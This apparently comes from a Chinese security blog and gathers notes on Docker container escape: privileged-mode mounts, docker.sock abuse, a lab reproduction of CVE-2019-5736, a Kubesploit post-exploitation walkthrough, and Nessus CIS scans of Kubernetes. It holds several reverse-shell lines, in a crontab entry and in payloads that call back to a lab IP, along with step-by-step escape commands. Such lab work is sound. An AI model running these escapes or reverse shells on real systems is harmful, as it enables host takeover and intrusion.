docker逃逸常用方法

1 背景

容器逃逸常发生在后渗透阶段中,攻击者通过应用层面漏洞进入容器内,由于容器本身生命周期并不稳定,逃逸到宿主机是必要操作。 本文将从实战角度记录容器逃逸各类操作。下面是网上找的一张docker的架构图。近些年,Docker逃逸所利用的漏洞大部分都发生在shim和runc上,每一次出现相关漏洞都能引起相当大的关注。

1641278016580

2 Docker逃逸原理

因为Docker所使用的是隔离技术,就导致了容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个容器可以访问到外面的资源,甚至是获得了宿主主机的权限,这就叫做“Docker逃逸”。

目前产生Docker逃逸的原因总共有三种:

  1. 由内核漏洞引起。
  2. 由Docker软件设计引起。
  3. 由特权模式与配置不当引起。

接下来依次对这三种逃逸方法做简单说明。

2.1 由于内核漏洞引起的逃逸

因为Docker是直接共享的宿主主机内核,所以当宿主主机的内核存在安全漏洞时会一并影响Docker的安全,导致可能会造成Docker逃逸。

操作系统内核漏洞主要就是利用大脏牛(CVE-2016-5195),依赖于内存页的写时复制机制来逃逸到宿主机,exp链接:https://github.com/scumjr/dirtycow-vdso,不过不是每个linux发行版都通用.

2.2 由于Doker软件设计引起的逃逸/应用程序漏洞

目前通过应用程序漏洞逃逸的漏洞主要有两个:

  • CVE-2019-5736(runc)

  • CVE-2020-15257(containerd)

2.2.1 CVE-2019-5736

其中CVE-2019-5736是runc相关漏洞,该漏洞允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。 该漏洞有利用条件,即容器exp执行后,需要受害者在宿主机上通过docker exec命令进入该容器。exp链接:https://github.com/Frichetten/CVE-2019-5736-PoC。漏洞复现查看:

2.2.2 CVE-2020-15257

containerd 是一个控制 runC 的守护进程,提供命令行客户端和API。当在docker使用–net=host参数启动且与宿主机共享net namespace时,docker容器会暴露containerd-shim 监听的 Unix 域套接字,攻击者可以绕过访问权限访问 containerd 的控制API 直接操作containerd-shim ,来控制容器,从而实现Docker容器逃逸。exp: https://github.com/cdk-team/CDK/releases

2.3 由于特权模式+目录挂载引起的逃逸

这一种逃逸方法较其他两种来说用的更多。特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。

2.3.1 磁盘挂载

(1)使用特权模式启动容器后(docker run –privileged):Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限、可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务contrab等方式在宿主机执行命令。(反弹shell)

(2)使用功能机制也会造成Docker逃逸。Linux内核自版本2.2引入了功能机制(Capabilities),打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。例如当容器以–cap-add=SYSADMIN启动,Container进程就被允许执行mount、umount等一系列系统管理命令,如果攻击者此时再将外部设备目录挂载在容器中就会发生Docker逃逸。

2.3.2 容器挂载不当

使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。

3 docker 逃逸实例

3.1 特权模式

特权模式逃逸是一种最简单有效的逃逸方法,攻击者可以通过挂载宿主机目录到容器某个目录下,直接通过命令、写ssh公钥和crontab等getshell。

(1)创建容器时通过添加–privileged=true参数,将容器以特权模式起

docker run -itd --name privilegeTest –-privileged=true mongo:3.6-streth

在k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器

securityContext:  privileged: true

1641279769110

(2) 特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起)

1641279079652

(3)fdisk -l命令查看宿主机设备为/dev/vda1,通过mount命令将宿主机根目录挂载进容器目录的test中.

fdisk -l
mount /dev/sda1 /home/test

(4)使用chroot改变根目录,接下来可以直接执行命令或写crontab

1641279217423

(5)在计划任务里写入一个反弹shell:

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /home/test

(6)在Docker上开启netcat监听7777端口,成功接收到宿主主机的Shell,实现Docker逃逸。

3.2 容器挂载不当

容器挂载不当导致的逃逸根本原因在于业务需求或使用者图方便把危险目录直接挂载到容器中。 当然,根据使用者挂的目录不同,利用方式肯定也都不同。举一个比较常见的例子:使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也能操作docker。

(1)创建挂载/var/run/docker.sock文件的容器

docker run -itd --name mongo_sock -v /var/run/docker.sock:/var/run/docker.sock mongo:3.6-stretch

(2)实战中通过find命令,在容器内可查找类似docker.sock等高危目录和文件

find / -name docker.sock

(3)cat /etc/os-release查看当前linux发型版本,准备安装docker客户端,方便操作docker

1641279541683

(4)访问https://download.docker.com/linux/debian/dists/,根据选择具体分支,如stretch就去https://download.docker.com/linux/debian/dists/stretch/pool/stable/amd64/下载.deb结尾的安装文件 使用这种方式安装的好处是容器内一般都缺少很多基础组件,如果通过apt-get安装实测20分钟也装不完 .

(5)随便找个镜像挂载宿主机根目录到容器的/host目录下,之后就可以进行任意操作了

docker run -it -v /:/host rabbitmq:3-management-alpine bash

1641279608868

4 容器渗透常用命令

查看当前环境是否为容器 cat /proc/1/cgroup看回显结果中是否有docker(这个方法一般要比ls /.dockerenv要准确,实测有些容器根目录下确实没有.dockerenv)

查看容器操作系统详细信息 cat /etc/os-release

查看宿主机内核信息 uname -a

查看容器内进程的capability grep CapEff /proc/self/status 在其他机器上执行capsh –decode=value查看具体权限,value为前一个命令输出结果

查看环境变量 env(环境变量中可能存在敏感信息,如password)

危险挂载文件查找,如docker.sock find / -name docker.sock

5 Docker逃逸防御

  • 更新Docker版本到03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736。
  • runc版本 >1.0-rc6
  • k8s 集群版本>1.12
  • Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
  • Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险。
  • 不建议以root权限运行Docker服务。
  • 不建议以privileged(特权模式)启动Docker。
  • 不建议将宿主机目录挂载至容器目录。
  • 不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险。

参考

  1. docker逃逸过程详情 一个完整的逃逸利用方法 超级棒
  2. 容器逃逸常用方法 很详细
  3. 五种方式教你用特权容器逃逸 挂载目录的具体案例
  4. Docker逃逸原理 还行
  5. 配置不当导致的容器逃逸
  6. 利用 Linux 内核漏洞实现 Docker 逃逸
  7. Docker容器安全性分析 SDLC可以加进去
  8. 云原生之Kubernetes安全 以后看

Docker逃逸漏洞复现(CVE-2019-5736)

1 前言

1.1 概述

2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。

漏洞会对IT运行环境带来威胁,漏洞利用会触发容器逃逸、影响整个容器主机的安全,最终导致运行在该主机上的其他容器被入侵。漏洞影响AWS, Google Cloud等主流云平台。

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

1.2漏洞原理

漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

1.3 利用方式

docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

前提条件:

要利用此漏洞,您需要在容器内拥有 root (uid 0)。

1.4 影响版本

docker version <=18.09.2 RunC version <=1.0-rc6

2 安装有漏洞的docker

环境安装

(1)卸载已将安装的docker

(2)列出可用版本

yum list docker-ce --showduplicates | sort -r

1640054924227

(3)安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本

sudo yum install docker-ce-18.06.0.ce-3.el7 -y

查看版本:看到docker版本为18.06.0.ce<18.09.2,runc版本为1.0.0 rc5<1.0-rc6。

值得注意的是高版本docker中使用runc -v来runc查版本。

docker -v
docker-runc -v

1640055271415

(5)在受害者机器上启动一个容器49bd670396f4,搭建攻击环境

[root@archery-sec9002 supper-user]# docker pull nginx
[root@archery-sec9002 supper-user]# docker run --name nginx-test -p 8080:80 -d nginx
[root@archery-sec9002 supper-user]# docker ps -a
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                  NAMES
49bd670396f4        nginx               "/docker-entrypoint.…"   4 seconds ago       Up 3 seconds        0.0.0.0:8080->80/tcp   nginx-test

3 漏洞复现

漏洞复现整体过程如下图所示:其中,下图中为了方便复现,制作payload过程 我们直接在受害者机器上制作。

攻击者机器IP为:10.65.103.67(archery-sec9001)。

受害者机器IP为:10.65.103.68(archery-sec9002)

1640068592282

3.1 受害者机器制作payload

(1)受害者机器上生成payload

下载CVE-2019-5736编译go脚本生成攻击payload。(https://github.com/Frichetten/CVE-2019-5736-PoC),将go脚本中payload修改为反弹shell的payload,设置nc监听地址。

var payload="#!/bin/bash \n bash -i >& /dev/tcp/10.65.103.67/1234 0>&1"

1640056311451

(2)安装Go环境

该工具需要GO环境,这里使用1.14版本。非版本可能不兼容。

使用二进制文件安装【安装】
标准官网:https://golang.org/ 需要墙
镜像官网:https://golang.google.cn/dl/ 【国内推荐】

a.下载文件

wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz
tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local

b.配置环境变量

vi /etc/profile

在/etc/profile文件末尾添加以下配置,输入 :wq保存

#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go 
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

这里的GO111MODULE配置是go1.11后出的一种新的包管理go modules方式代替vendor机制,可以不需要GOPATH,项目代码也不一定要放在GOPATH下面 可参考https://www.cnblogs.com/apocelipes/p/9534885.htm
GO111MODULE=auto 自动
GO111MODULE=on 使用go modules,不会在vendor和gopath找依赖 【推荐新版都用这种】
GO111MODULE=off 使用vendor 或者gotpath

配置文件生效

source /etc/profile 
go version

1639728761904

(3)编译脚本:生成一个可执行的脚本main

cd CVE-2019-5736-PoC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

1640056013947

3.2 payload传入受害者容器中

(1)将该payload(main文件)拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并将main文件修改权限可执行。

[root@archery-sec9002 CVE-2019-5736-PoC]# docker cp main 49bd670396f4:/home
[root@archery-sec9002 CVE-2019-5736-PoC]# docker exec -it 49bd670396f4 /bin/sh
root@49bd670396f4:/# cd home
root@49bd670396f4:/home# chmod 777 main

1640066964932

3.3 攻击

将该payload拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

(1)在49bd670396f4容器中执行payload文件main

执行payload,等待受害者去启动docker容器。(如果ctf比赛选手说容器启动有问题,引诱管理员启动docker就中招了)

root@49bd670396f4:/home# ./main

1640067151695

(2) 攻击者同步开启nc监听(ip为10.65.103.67,监听端口为1234、与main中的payload一致。)

nc -vv -lp 1234

1640067506910

(3) 在xshell重新打开一个选项卡,进入容器。(sh启动),模拟受害者重新打开容器时。

[root@archery-sec9002 CVE-2019-5736-PoC]# docker exec -it 49bd670396f4 /bin/sh

1640067231664

观察容器中

1640067250063

(4) 受害者启动docker容器时,触发payload,成功反弹shell。即容器逃逸成功,已进入受害者机器,并且是root权限。

1640067382867

参考

https://www.freebuf.com/articles/web/258398.html

https://github.com/Frichetten/CVE-2019-5736-PoC 漏洞POC

kubesploit工具使用--一个针对容器化环境的跨平台后渗透利用工具

1 Kubesploit介绍

1.1 Kubesploit是什么

Kubesploit是一个针对容器化环境的跨平台后渗透利用工具。Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具,该工具基于Golang开发,基于Merlin项目实现其功能,主要针对的是容器化环境的安全问题。

我们的主要目标是提高社区对容器化环境安全的认识,并改进各种网络中实施的缓解措施。所有这些都是通过一个框架来实现的,这个框架为PT团队和红队成员在这些环境中的活动提供了适当的工具。使用这些工具将帮助你评估这些环境的优势,并进行必要的更改以保护它们。

由于C&C和代理基础设施已经由Merlin完成,我们只需要继承Go解释器(“Yaegi”)就可以在服务器端和代理运行Golang代码了。

它允许我们在Golang中编写模块,为模块提供更大的灵活性,并动态加载新模块。这是一个正在进行的项目,我们计划在未来添加更多与Docker和Kubernetes相关的模块。

1.2 Kubesploit能干什么

1.2.1 功能介绍

Kubesploit主要的功能就体现在其中的module,存放了多个可利用的攻击代码(POC)。我们先看看这些module能干些什么?

1639728261432

  • linux/go/cve2019_5736:检测该容器是否存在CVE-2019-5736容器逃逸漏洞,并实现利用该漏洞,逃逸到宿主机上。
  • linux/go/clusterCVEScan:扫描Kubernetes集群中的已知CVE漏洞;
  • linux/go/portScan:端口扫描,重点是Kubernetes服务;
  • linux/go/serviceScan:从容器内扫描Kubernetes服务;
  • linux/go/kubeletAttack:通过该module可以获取所有pods的一些信息:rce,令牌等信息;
  • linux/x64/bash/exec/bash:可以在agent中执行任意bash命令。
  • linux/go/mountContainerBreakout: 通过将宿主机的磁盘重新挂载到容器中某个目录 实现容器逃逸
  • linux/go/dockerBreakout: 通过容器挂载的 /var/run/docker.sock(宿主机上) 文件实现容器逃逸。

1.2.2 攻击路线

了解各个module后,我们知道Kubesploit可以做的东西,下面我们从攻击者攻击路线来看,攻击者如何使用这些module,能达到什么样的攻击效果呢?

我们知道Kubesploit是一个针对容器化环境的跨平台后渗透利用工具。使用该工具的前提是攻击者已经渗透到容器中,拿到容器的root权限。

(1)在容器中部署Kubesploit的agent端,并启动连上server端。进行容器的信息收集,运行步骤(4)。

(2)容器是否可逃逸到宿主机上?该工具有以下三种利用方式:

​ a.使用linux/go/cve2019_5736的module去探测利用,若利用成功,成功逃逸到宿主机后,

​ b.使用linux/go/mountContainerBreakout模块去将宿主机的磁盘重新挂载到容器中某个目录,然后使用 计划任务 crontab 写入个反弹shell的恶意代码,使得宿主机执行,则控制住宿主机。

​ c.使用linux/go/dockerBreakout模块利用 docker.sock 进行容器逃逸。

如果逃逸成功,拿到宿主机权限,进行(3)(4)(5)。

(3)使用inux/go/clusterCVEScan模块扫描k8s服务,是否存在已知的CVE漏洞?

(4)宿主机信息收集:通过使用linux/go/portScan进行端口收集,使用linux/go/serviceScan模块进行服务收集。

(5)pods探测:通过使用linux/go/kubeletAttack模块,进行pods信息收集:包括是否有RCE漏洞,token等,为进一步渗透到pod做准备。

1.3 Kubesploit怎么部署

首先Kubesploit是后渗透利用工具,因此使用该工具的条件是已经拿到容器或者主机的权限,想要进行进一步渗透攻击。因此Kubesploit分为server端和agent端,如下图所示,agent部署在已获得权限的容器或者主机中。server部署在攻击者机器上。攻击者可以通过server来控制所有agent,可以统一进行module攻击。

1640079397615

2 环境准备

该工具需要GO环境,这里使用1.14版本。非版本可能不兼容。

使用二进制文件安装【安装】
标准官网:https://golang.org/ 需要墙
镜像官网:https://golang.google.cn/dl/ 【国内推荐】

(1)下载文件

wget https://dl.google.com/go/go1.14.linux-amd64.tar.gz

(2)解压文件到 /usr/local

tar -zxf go1.14.linux-amd64.tar.gz -C /usr/local

(3)配置环境变量

vi /etc/profile

在/etc/profile文件末尾添加以下配置,输入 :wq保存

#golang env config
export GO111MODULE=on
export GOROOT=/usr/local/go 
export GOPATH=/home/gopath
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin

这里的GO111MODULE配置是go1.11后出的一种新的包管理go modules方式代替vendor机制,可以不需要GOPATH,项目代码也不一定要放在GOPATH下面 可参考https://www.cnblogs.com/apocelipes/p/9534885.htm
GO111MODULE=auto 自动
GO111MODULE=on 使用go modules,不会在vendor和gopath找依赖 【推荐新版都用这种】
GO111MODULE=off 使用vendor 或者gotpath

(5)配置文件生效

source /etc/profile 
go version

1639728761904

3 部署kubesploit

首先这里使用了3个主机(两个也可),作用如下。因此需要在sec9002上启动agent,sec9003启动server。

hostnameip作用
archery-sec900110.65.103.67监听反弹shell(这个也可以在sec9003中监听)
archery-sec900210.65.103.68部署漏洞容器的主机,容器中部署部署kubesploit中的Agent
archery-sec900310.65.103.69部署kubesploit中的server

3.1 安装

(1)在sec9003上下载kubesploit包

git clone git://github.com/cyberark/kubesploit.git

(2)进入安装包

cd kubesploit

(3)编译安装:

make

1639720677749

(4)快速构建(build) server和agent

export PATH=$PATH:/usr/local/go/bin
go build -o agent cmd/merlinagent/main.go
go build -o server cmd/merlinserver/main.go

可以看到kubesploit文件夹中生成了 agent和server。

1639721484176

(5)上面步骤在sec9002中的容器中做一遍,用来部署agent即可。

3.2 启动

(1)sec9003服务器端修改config.yaml,

vi config.yaml

1639729283436

(2)在sec9003服务器端启动服务器端

./server

下图可以看到最下面 服务器端开启了监听,因此agent只需要连接下面的地址即可。

1639728153682

(3)在sec9002的容器中启动Agent上连接server

./agent -url https://10.65.103.69:443 &

(4)Server上查看agentlist

agent list

从下图可以看到新的Agent认证检查通过,并且可以看到连接的Agent状态未delayed.

1639723863099

5 攻击

在Server上可以看到可以利用的模块如下图所示。按Tab可以查看所有的利用模块。所有module使用方法都很简单。以linux/go/portScan为例:

1639728261432

(1)使用module:use module +名字

kubesploit» use module linux/go/portScan

(2)查看module用法

kubesploit[module][PortScan]» info

(3)设置参数

kubesploit[module][PortScan]» set Urls 10.65.102.52

(4)开启扫描

kubesploit[module][PortScan]» run

根据1.2.2 攻击路线中提到 拿到一个容器权限后,首先做的是检测是否有漏洞可逃逸到宿主机上。

5.1 linux/go/cve2019_5736:Docker逃逸漏洞检测

cve2019_5736是一个Docker逃逸漏洞,关于该漏洞更多请查看XXx。

漏洞影响范围:Docker版本 < 18.09.2 或者使用 runc版本 <= 1.0-rc6的环境

(1)在sec9003主机上使用该模块

kubesploit» use module linux/go/cve2019_5736

(2)将默认的Payload:cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow 设置成反弹shell的载荷:

kubesploit[module][CVE-2019-5736]»set Payload #!/bin/bash \n bash -i >& /dev/tcp/10.65.103.67/8989 0>&1

1640077783963

(3)运行攻击

1640077637015

(4)可以观察到sec9002中容器agent信息,已经成功覆盖了/bin/sh

1640077631012

(5)sec9001上开启监听:

1640078350442

(6)再sec9002机器中重进入容器:

[root@archery-sec9002 supper-user]# docker exec -it cb957e46368f /bin/sh

(7)观察sec9001上的监听,发现反弹Shell成功。说明容器逃逸成功,已经获得sec9002主机权限。

1640077755990

1640077931065

5.2 port扫描

当从容器逃逸到宿主机上后,可以在宿主机上再安装agent去进一步渗透。

(0)返回主页面

kubesploit[module][CVE-2019-5736]t»main

(1)使用模块库

kubesploit» use module linux/go/portScan

(2)查看模块库使用信息

kubesploit[module][PortScan]» info

1639731335906

(3)设置扫描目前Url

kubesploit[module][PortScan]» set Urls 10.65.102.52

(4)开启扫描

kubesploit[module][PortScan]» run
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:04Z
[*] Scanning for open ports (15 threads)
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:07Z
[*] Scanning IP: 10.65.102.52
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:10Z
    8443: kube-apiserver, Kubernetes API port
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:14Z
    22: SSH
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:17Z
    10256: Kube proxy health check server
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:20Z
    80: http
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:23Z
    443: https
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:27Z
    10250: kubelet HTTPS API which allows full node access
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:30Z
    6443: Kubernetes API port
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:33Z
    2379: ETCD server port, kubernetes database
[+] Results for cac144b6-b177-43b8-bb35-545d4928d0b8 job iDMQzPzTXo at 2021-12-20T07:56:37Z
*** DONE ***

分别观察agent和server端输出。

1639731800868

5.3 service扫描

kubesploit» use module linux/go/servicesScan
kubesploit[module][K8sServicesScan]» set CIDR 10.254.0.0/16

扫描结果:无返回

5.4 k8s CVE扫描

在宿主机上可以扫描k8s有没有已知的CVE漏洞。Url为APIserver的地址

kubesploit» use module linux/go/clusterCVEScan
kubesploit[module][K8sClusterCVEScan]»info
kubesploit[module][K8sClusterCVEScan]»set Url https://10.65.102.52:6443
kubesploit[module][K8sClusterCVEScan]»run

运行后可以发现有下面3个已知CVE漏洞。

1639737553250

5.5 Kubelet attack

还可以使用Kubelet attack进一步去渗透各个pods中。

kubesploit» use module linux/go/kubeletAttack
kubesploit[module][kubeletctl]»info
kubesploit[module][kubeletctl]»set Url https://10.65.102.52:10250
kubesploit[module][kubeletctl]»set Command rce
kubesploit[module][kubeletctl]»set Command token
kubesploit[module][kubeletctl]»set Command run -a whoami
kubesploit[module][kubeletctl]»set Command run -as whoami -n makebin
kubesploit[module][kubeletctl]»set Command run whoami -n makebin
kubesploit[module][kubeletctl]»set Command run whoami -n kube-system -p haproxy-apaas-master8001 -c haproxy

因为我们的k8s 访问pod需要token的,因此我们攻击失败。

1639990844045

5.6 moutContainerBreakout

kubesploit» use module linux/go/mountContainerBreakout
kubesploit[module][ContainerBreakoutMounting]»info
kubesploit[module][ContainerBreakoutMounting]»run

具体使用功能。通过挂载宿主机磁盘来拿到宿主机权限。

1640676266506

1639733532127

1639991240912

5.7 use module linux/go/var-log-escape

kubesploit» use module linux/go/var-log-escape

1639988119007

1639988020351

5.8 linux/go/dockerBreakout

使用说明

1640676348639

ERROR

报错1

export GOOS=linux;export GOARCH=amd64;go build -ldflags "-s -w -X main.build=8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f -X github.com/cyberark/kubesploit/pkg/agent.build=8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f -X main.protocol=h2 -X main.url=https://127.0.0.1:443 -X main.host= -X main.psk=kubesploit -X main.proxy= -buildid=" -o data/temp/v0.1.2/8707dbcb5ce0ac9e0e10968c8f7ac341ab9ed87f/kubesploitServer-Linux-x64 cmd/merlinserver/main.go
go: github.com/CUCyber/ja3transport@v0.0.0-20191126031250-d2ab5557668f: Get https://proxy.golang.org/github.com/%21c%21u%21cyber/ja3transport/@v/v0.0.0-20191126031250-d2ab5557668f.mod: dial tcp 216.58.200.81:443: i/o timeout
make: *** [server-linux] Error 1

**solution:**https://www.jianshu.com/p/b23727397119

报错2

go: finding github.com/francoispqt/gojay v1.2.13
go: finding github.com/golang/protobuf v1.4.2
go: finding google.golang.org/protobuf v1.25.0
go: finding github.com/marten-seemann/qpack v0.1.0
# github.com/lucas-clemente/quic-go/internal/handshake
/home/gopath/pkg/mod/github.com/lucas-clemente/quic-go@v0.17.3/internal/handshake/go_1-13.go:24:75: cannot use c (type *qtls.ClientHelloInfo) as type *tls.ClientHelloInfo in return argument
make: *** [server-linux] Error 2

**solution:**go版本号不兼容,使用1.14版本。

参考

https://github.com/cyberark/kubesploit git地址

https://www.freebuf.com/articles/container/271402.html 有点子简单介绍

nessus扫描合规性

1 安全扫描

(1)创建一个高级扫描

1627455726030

(2) 打开 Plugins选项.

Disable 所有插件除了下面几个:

  • General

  • Settings

  • Policy Compliance

  • Service Detection

    (3) 在Compliance部分 选择 需要扫描的合规系统:centos或者其他.

1627456193812

保存扫描即可。

2 扫描实例:k8s的CIS检测

2.1 配置

(1) 在nessus 中导入下列的策略,该策略中包含基础的k8s master的节点cis扫描配置

(2) 创建Credentials,选择SSH进行配置

如果supper-user包含了sudo的权限,并可以执行任意的指令,可以直接设置SSH Privilege Escalation 为sudo

配置的用户需要能登录k8s集群节点的权限

1640242433408

如果supper-user未包含sudo的权限,则可以新建一个用户(需要配置该用户的password)使其可以通过sudo执行任意指令,此时需要设置SSH Privilege Escalation 为su+sudo

1640242485565

关于SSH Privilege Escalation 的解释如下:https://community.tenable.com/s/article/SSH-Privilege-Escalation#su-sudo

(3) 在Compliance 中配置CIS 扫描项,需要修改其中的文件路径使其符合集群的情况

1640242576609

(4) 检查Plugins中是否打开了如下的插件

如果存在问题可以参考:https://community.tenable.com/s/article/Troubleshoot-failed-audit-compliance-scans

1640242596891

2.2 运行

在My Scans→New Scans→ User Defined→ Test_k8s_cis,设置Targets为需要扫描的节点,然后选择Lanch

1640242669447

2.3 查看结果

运行时间可能较长,运行结束后可以看到compliance中扫描出来的违规配置

1640242723451

2.4 扫描结果分析

1.1.11 Ensure that the etcd data directory permissions are set to 700 or more restrictive
描述: etcd 存储目录权限过大

修复方案:chmod 700 /var/lib/etcd

影响:验证重启后无影响

1.1.21 Ensure that the Kubernetes PKI key file permissions are set to 600
描述: k8s pki 下的文件权限过大

修复方案:chmod -R 600 /etc/kubernetes/pki/*.key

影响:验证重启后无影响

1.2.1 Ensure that the –anonymous-auth argument is set to false
描述: 不允许匿名用户访问

修复方案:/etc/kubernetes/manifests/kube-apiserver.yaml 中配置–anonymous-auth=false,或者通过配置system:anonymous和system:unauthenticated的权限进行控制

影响:不允许匿名访问,所有直接的访问都会被拒绝

1.2.10 Ensure that the admission control plugin EventRateLimit is set
描述: 限制 API 服务器接受请求的速率,避免速度APIserver被打挂

修复方案: 在apiserver中添加如下配置

   --enable-admission-plugins=...,EventRateLimit,...
   --admission-control-config-file=<path/to/configuration/file> 

   示例配置文件如下:

/etc/kubernetes/pki/admission-control-config.yaml

apiVersion: apiserver.k8s.io/v1alpha1
kind: AdmissionConfiguration
plugins:
- name: EventRateLimit
  path: eventconfig.yaml

/etc/kubernetes/pki/eventconfig.yaml

apiVersion: eventratelimit.admission.k8s.io/v1alpha1
kind: Configuration
limits:
- type: Namespace
  qps: 10
  burst: 100
  cacheSize: 50
- type: User
  qps: 10
  burst: 50
  cacheSize: 50
- type: Server
  qps: 100
  burst: 1000

影响:会限制集群和namespace 输出event的速率,当达到配置的极限时,超出的event会被拒绝并返回429 Too Many Requests,需要更具集群的大小及apiserver的处理能力来进行配置,参考社区说明: admission_control_event_rate_limit.md

1.2.12 Ensure that the admission control plugin AlwaysPullImages is set
描述: 设置pod的拉取策略为Always,在多租户时需要和鉴权配合使用以确保镜像不会被其他的用户使用

修复方案:在apiserver中添加如下配置–enable-admission-plugins=…,AlwaysPullImages,…

影响:每次拉取私有镜像都需要凭据。此外,在受信任的环境中,这可能会增加网络、注册表的负载并降低速度。此设置可能会影响离线或隔离的集群,这些集群已预加载镜像并且无权访问注册表以提取使用中的镜像。此设置不适用于使用此配置的集群。

1.2.14 Ensure that the admission control plugin ServiceAccount is set
描述:创建 Pod 时,如果未指定服务帐户,则会自动为其分配同一命名空间中的默认服务帐户

修复方案:似乎已经配置过,但是仍然扫出来

影响:无

1.2.16 Ensure that the admission control plugin PodSecurityPolicy is set
描述:必须要设置PodSecurityPolicy

修复方案:APIserver配置参数– enable -admission-plugins =…,PodSecurityPolicy,…

影响:在允许创建 pod 之前,必须创建并授予策略对象。至少在集群中需要一个安全策略,可能需要配置多个安全策略(注:psp在1.21中已经计划废弃podsecuritypolicy-deprecation-past-present-and-future)

备注:添加后apiserver无法拉起,还在验证中…

1.2.17 Ensure that the admission control plugin NodeRestriction is set
描述:限制 kubelet 仅可以修改自己的 Node 和 Pod 对象

修复方案:APIserver 配置参数–enable-admission-plugins=…,NodeRestriction,…

影响:无

1.2.21 Ensure that the –profiling argument is set to false
描述:关闭性能分析功能

修复方案:设置apiserver 的参数–profiling=false

影响:分析信息将不可用,基本影响很小

1.2.23 Ensure that the –audit-log-maxage argument is set to 30 or as appropriate
描述:将审计日志保留至少30天或视情况而定

修复方案:设置apiserver 的参数–audit-log- maxage=30

影响:基本无,可以根据具体情况设置

1.2.25 Ensure that the –audit-log-maxsize argument is set to 100 or as appropriate
描述:在审计日志达到 100 MB 或适当时轮换日志文件。

修复方案:设置apiserver 的参数–audit-log-maxsize=100

影响:基本无,可以根据具体情况设置

1.2.27 Ensure that the –service-account-lookup argument is set to true
描述:在验证令牌之前验证服务帐户,防止被删除后还能继续访问

修复方案:设置apiserver 的参数–service-account-lookup=true

影响:基本无

1.2.29 Ensure that the –etcd-certfile and –etcd-keyfile arguments are set as appropriate - certfile
描述:etcd 应配置为对客户端连接使用 TLS 加密

修复方案:按照 Kubernetes 文档设置 apiserver 和 etcd 之间的 TLS 连接。然后,在主节点上编辑API server pod规范文件/etc/kubernetes/manifests/kube-apiserver.yaml,设置etcd证书和密钥文件参数。–etcd-certfile=<path/to/client-certificate-file>和–etcd-keyfile=<path/to/client-key-file>

注:标准部署都配置过了,还会扫出的原因是期望为–etcd-certfile=/etc/kubernetes/pki/etcd/peer.crt([\s]|$),需要使用固定目录下的文件

影响:基本无

1.2.33 Ensure that the –encryption-provider-config argument is set as appropriate
描述:加密 etcd 键值存储。

